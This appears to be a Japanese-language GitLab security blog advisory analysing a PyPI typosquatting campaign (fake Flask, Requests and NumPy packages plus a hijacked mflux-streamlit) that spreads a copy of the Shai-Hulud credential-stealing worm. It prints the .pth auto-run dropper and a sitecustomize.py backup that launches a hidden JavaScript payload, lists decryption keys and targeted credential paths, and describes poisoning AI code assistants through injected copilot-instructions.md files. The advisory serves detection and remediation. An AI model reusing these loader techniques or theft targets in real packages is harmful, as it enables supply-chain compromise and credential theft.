更新日:2026年6月10日

12分で読めます

PyPIタイポスクワッティングを悪用したShai-Hulud模倣攻撃、Python開発者を狙う

GitLabの脆弱性リサーチチームが、PyPIを標的とした新たなPythonサプライチェーン攻撃を発見しました。悪意あるパッケージがShai-Huludワームを展開し、主要なクラウドプロバイダーのCI/CDシステムから認証情報を窃取します。

GitLabの脆弱性リサーチチームは、PyPIを標的とした組織的なサプライチェーン攻撃を確認しました。この攻撃では、Shai-Huludマルウェアのコピーが展開されています。悪意あるパッケージは5つ確認されており、Flask、Requests、NumPyを偽装したタイポスクワット4つと、武器化された正規プロジェクト1つが含まれます。これらのパッケージはインストール時にコードを実行し、インポートや関数呼び出しは不要です。また、自己増殖型の認証情報窃取ツールを内包しており、主要クラウドプロバイダー全般のCI/CD環境を標的としています。

GitLabが影響を受けるパッケージをいずれも使用していないことを確認しました。より広範なセキュリティコミュニティが適切に対応できるよう、調査結果を公開します。

攻撃の詳細

監視システムは、2026年6月7日、単一アカウント(elitexp)から公開された悪意ある5つのPyPIパッケージを検知しました。そのうち4つはタイポスクワットです。

  • rlasktlask:Flaskのタイポスクワット
  • rsquests:Requestsのタイポスクワット
  • nhmpy:NumPyのタイポスクワット

5つ目の mflux-streamlit は、実際のユーザーを持つ正規プロジェクトです。攻撃者はタイポスクワット展開後、悪意あるバージョン0.0.3および0.0.4を公開することで、このプロジェクトを武器化しました。

攻撃者はまず、本物の最新リリースのバージョン番号(Flask 3.1.3、Requests 2.34.2、NumPy 2.4.6)と完全に一致するクリーンな「プローブ」バージョンを公開しました。これらが問題なくインデックスされると、攻撃者はワームのペイロードを組み込んだ新しいバージョンを公開しました。

これは模倣による展開です。Shai-Huludの背後にある集団TeamPCPは、2026年5月12日にワームのコードをオープンソース化しました。以来、独立した攻撃者がこのツールキットを入手し、新たなターゲットを狙う動きを追跡してきました。今回のキャンペーンにより、同じワームがPythonエコシステムへも展開されました。

技術分析

初期感染ベクター

元のnpmバリアントは preinstall スクリプトを使用していました。このキャンペーンでは別のアプローチを採用し、Pythonの .pth ファイルメカニズムを悪用しています。Wheelパッケージは .pth ファイルを同梱でき、Pythonは起動時にこれを自動的に処理するため、明示的なインポートは不要です。各悪意あるパッケージには rlask-setup.pth のようなファイルが含まれており、1行のドロッパーが記述されています。

      import os as _O,tempfile as _T;_G=_O.path.join(_T.gettempdir(),".bun_ran");
_O.path.exists(_G)or exec('import os as _o,subprocess as _s,urllib.request as _u...')

    

ドロッパーはシステムの一時ディレクトリ内のマーカーファイル(.bun_ran)の存在を確認して再実行を防ぎ、次にGitHubからBun JavaScriptランタイムをダウンロードし、パッケージ内にバンドルされた5 MBの難読化されたJavaScriptペイロードを実行します。

rlask の初期バージョンには、バックアップの実行経路として sitecustomize.py ファイルも含まれていました。Pythonは起動時に sitecustomize を自動インポートし、このファイルは sys.path から隠し _index.js ペイロードを検索します。

      import subprocess, os, sys
for d in sys.path:
  js = os.path.join(d, "_index.js")
  if os.path.exists(js):
    subprocess.run(["node", js])
    break

    

攻撃者は後のバージョンでこのバックアップメカニズムを削除し、.pth アプローチ単独で十分と判断したようです。

ペイロードの難読化

JavaScriptペイロードは3層で難読化されています。

  1. 整数配列に適用された ROT-N文字暗号(ローテーション値はパッケージによって異なります:[email protected] はROT-13、rsquests はROT-17、tlask はROT-25)
  2. ハードコードされた鍵を使用した AES-128-GCM暗号化(2つの暗号化ブロブを生成)
  3. 内部ペイロードへの標準的な 変数名マングリング_0x プレフィックス難読化)

コードを実行することなく、静的解析によってペイロードを復号しました。最初のブロブ(907バイト)はBunランタイムダウンローダーです。2番目のブロブ(772 KB)は完全なShai-Hulud認証情報窃取ツールで、2,538個のハードコードされた文字列を含んでいます。

独自に解析を行う研究者向けに、AES復号鍵を以下に示します。

レイヤーIV
Bunダウンローダーc95506221d18936328fbc7ddcd21e3dd48da5faeafac0ac88a410bb0
ワームペイロード7557c4e782a0622159476d1ea10d523655a7d25e0e61b77cc175bcc3

認証情報の収集

起動後、ワームは主要なクラウドおよびCI/CDプラットフォーム全般の認証情報を狙います。

  • GitHub ActionsGITHUB_TOKEN、パーソナルアクセストークン、きめ細かいトークン、OIDCトークン、組織・リポジトリのシークレット、Actionsアーティファクト、Runnerプロセスメモリ
  • AWS:IAMアクセスキー、シークレットキー、セッショントークン、IMDSインスタンス認証情報(169[.]254[.]169[.]254)、Secrets Managerエントリ、SSMパラメータ、STS連携トークン
  • Azure:クライアントシークレット、マネージドIDトークン、Key Vaultシークレット、フェデレーテッド認証情報、Microsoft Graph APIトークン
  • GCP:サービスアカウントキー、アプリケーションデフォルト認証情報、クラウドプラットフォームスコープトークン
  • HashiCorp Vault:7つの既知のファイルシステムパス(/var/run/secrets/vault-token/etc/vault/token/root/.vault-token など)からのVaultトークン、APIアクセス、Kubernetes Vault認証
  • npm / JFrog:npmトークン、JFrog/Artifactory APIキー、OIDCトークン交換
  • PyPI:公開トークン、OIDCミントトークン
  • RubyGems:APIキー、gem公開認証情報
  • SSH:ラテラルムーブメントのための秘密鍵
  • Kubernetes:サービスアカウントトークン、kubeconfigファイル
  • Sigstore:OIDCトークンとFulcio署名証明書(攻撃者が信頼されたIDでアーティファクトに署名可能になります)
  • データベース:MongoDB、MySQL、PostgreSQL、Redisのパスワードが埋め込まれた接続文字列

自己増殖

元のnpmバリアントと同様に、これは単なる窃取ツールではありません。自己増殖します。窃取した認証情報を使用して、ワームは以下の動作を行います。

  • アクセス可能なGitHubリポジトリに .github/setup.js とワークフローファイルをコミットし、他のCIパイプラインでワームを再実行させます
  • .github/copilot-instructions.md を注入してAIコードアシスタントを汚染します
  • 窃取したレジストリトークンを使用して、PyPI、npm、RubyGemsに追加の汚染パッケージを公開します
  • sudoersルールを注入してセルフホスト型CIランナーへの権限昇格を試みます
  • StepSecurityのharden-runnerの存在を確認し、検出された場合は動作を変更します

攻撃者について

5つのパッケージはすべてPyPIアカウント elitexp が所有しています。このアカウントは2024年11月に正規パッケージ(mflux-streamlit:GitHubに11スターを持つStreamlit製画像生成UI)とともに作成されました。関連するGitHubアカウント(github[.]com/elitexp)は13年以上前に作成されており、大学のコースワークやLaravelプロジェクトを含む43の公開リポジトリを持っています。

アップロードメタデータによると、すべてのパッケージはユーザーエージェントとして Bun/1.3.14 を使用して公開されています。これはマルウェアが実行チェーンの一部としてダウンロードするランタイムと同じです。

攻撃者は mflux-streamlit 自体も武器化しました。バージョン0.0.1と0.0.2はクリーンですが、タイポスクワットキャンペーンの後、15:23と15:37 UTCに公開された バージョン0.0.3と0.0.4 には、同じ .pth ドロッパーと難読化されたペイロードが含まれています。これにより、典型的なタイポスクワットよりも危険な攻撃となっています。mflux-streamlit は既存ユーザーを持つ実在のプロジェクトであり、これらのユーザーは通常の依存関係解決を通じて汚染されたアップデートを受け取る可能性があります。

侵害の痕跡

種別インジケーター説明
packagerlask 3.1.4-3.1.7悪意あるFlaskタイポスクワット
packagetlask 3.1.4悪意あるFlaskタイポスクワット
packagersquests 2.34.3悪意あるRequestsタイポスクワット
packagenhmpy 2.4.7悪意あるNumPyタイポスクワット
packagemflux-streamlit 0.0.3, 0.0.4武器化された正規パッケージ
file{package}-setup.pth自動実行ドロッパー(SHA256: 6506d317...
filesitecustomize.pyバックアップ自動実行(rlask のみ存在)
file{package}/_index.js難読化されたワームペイロード(5.2 MB)
file.bun_ranシステム一時ディレクトリ内の実行マーカー
networkhxxps[://]github[.]com/oven-sh/bun/releases/download/bun-v1.3.13/bun-{os}-{arch}.zipBunランタイムのダウンロード
networkhxxps[://]upload[.]pypi[.]org/legacy/ワームによる汚染PyPIパッケージの公開
networkhxxp[://]169[.]254[.]169[.]254/latest/meta-data/iam/security-credentials/AWS IMDS認証情報の窃取
networkhxxps[://]login[.]microsoftonline[.]com/Azure ADトークンの取得
networkhxxps[://]fulcio[.]sigstore[.]devSigstore証明書のリクエスト
actorelitexp (PyPI)パッケージ所有者
actorBun/1.3.14アップロード時のユーザーエージェント

影響を受けた場合の対処法

これらのパッケージのいずれかがお使いの環境にインストールされている場合:

  1. パッケージを直ちに削除し、システムの一時ディレクトリ内の .bun_ran マーカーファイルを確認してください。
  2. パッケージがインストールされた環境でアクセス可能だったすべての認証情報をローテーションしてください。CI/CDトークン、クラウドプロバイダーの認証情報、SSHキー、レジストリ公開トークンが含まれます。
  3. GitHubリポジトリで予期しないコミット(特に .github/setup.js.github/copilot-instructions.md、または変更されたワークフローファイルに一致するもの)を監査してください。
  4. パッケージレジストリアカウント(PyPI、npm、RubyGems)で公開していないパッケージがないか確認してください。
  5. CI/CDパイプラインのログで予期しないBunのダウンロードやJavaScriptの実行がないか確認してください。

タイムライン

日時イベント
2026-05-12TeamPCPがShai-Huludワームをオープンソース化
2026-06-07 13:47 UTCプローブバージョン公開([email protected][email protected]
2026-06-07 14:20 UTC最初の悪意あるバージョン([email protected])を28秒以内に検知
2026-06-07 14:24 UTC自動解析完了、悪意あり/重大として分類
2026-06-07 14:27-15:04 UTC4つのパッケージ名全体でさらに6つの悪意あるバージョンが公開
2026-06-07 15:23-15:37 UTC攻撃者が自身の正規パッケージ mflux-streamlit を武器化(v0.0.3、v0.0.4)
2026-06-07静的解析により完全なShai-Huludワームを確認
2026-06-07 16:01 UTCすべての悪意あるパッケージをPyPIセキュリティチームに報告
2026-06-08 03:15:06 UTCGitLab Advisory Databaseにアドバイザリを追加
2026-06-08PyPIが悪意あるパッケージのすべてのリリースを削除

GitLabを活用したパッケージの検出方法

GitLab Ultimateをご利用の場合、Dependency Scanningを使用して、プロジェクト内のこれらのパッケージへの露出を自動的に検出できます。GitLab Advisory Databaseに、5つのパッケージすべてを対象とするアドバイザリ(GMS-2026-572〜GMS-2026-576)を申請しています。マージされると、Dependency Scanningが有効なプロジェクトのパイプライン結果と脆弱性レポートにこれらのパッケージがフラグ表示されます。

複数のリポジトリを管理するチームには、Security Analyst Agentを備えたGitLab Duo Chatを使用した迅速なトリアージをお勧めします。次のような質問を試してください。

  • 「Shai-Hulud PyPIキャンペーンの影響を受けている依存関係はありますか?」
  • 「このプロジェクトに悪意あるPython依存関係はありますか?」

今後の見通し

TeamPCPが5月にShai-Huludワームをオープンソース化した後、このキャンペーンを予測していました。独立した攻撃者がツールキットを入手し、新たなエコシステムに展開しています。Pythonバリアントは異なる初期感染ベクター(preinstall スクリプトではなく .pth ファイル)を使用していますが、同じ認証情報収集および自己増殖のコードを内包しています。

監視システムはnpm、PyPI、その他のレジストリ全般での模倣展開を継続して追跡しています。新たな情報が入り次第、この記事を更新します。

脆弱性リサーチチームのその他の記事は、Security Labsサイトでご覧いただけます。

ご意見をお寄せください

このブログ記事を楽しんでいただけましたか?ご質問やフィードバックがあればお知らせください。GitLabコミュニティフォーラムで新しいトピックを作成してあなたの声を届けましょう。

フィードバックを共有する

今すぐ開発をスピードアップ

DevSecOpsに特化したインテリジェントオーケストレーションプラットフォームで実現できることをご確認ください。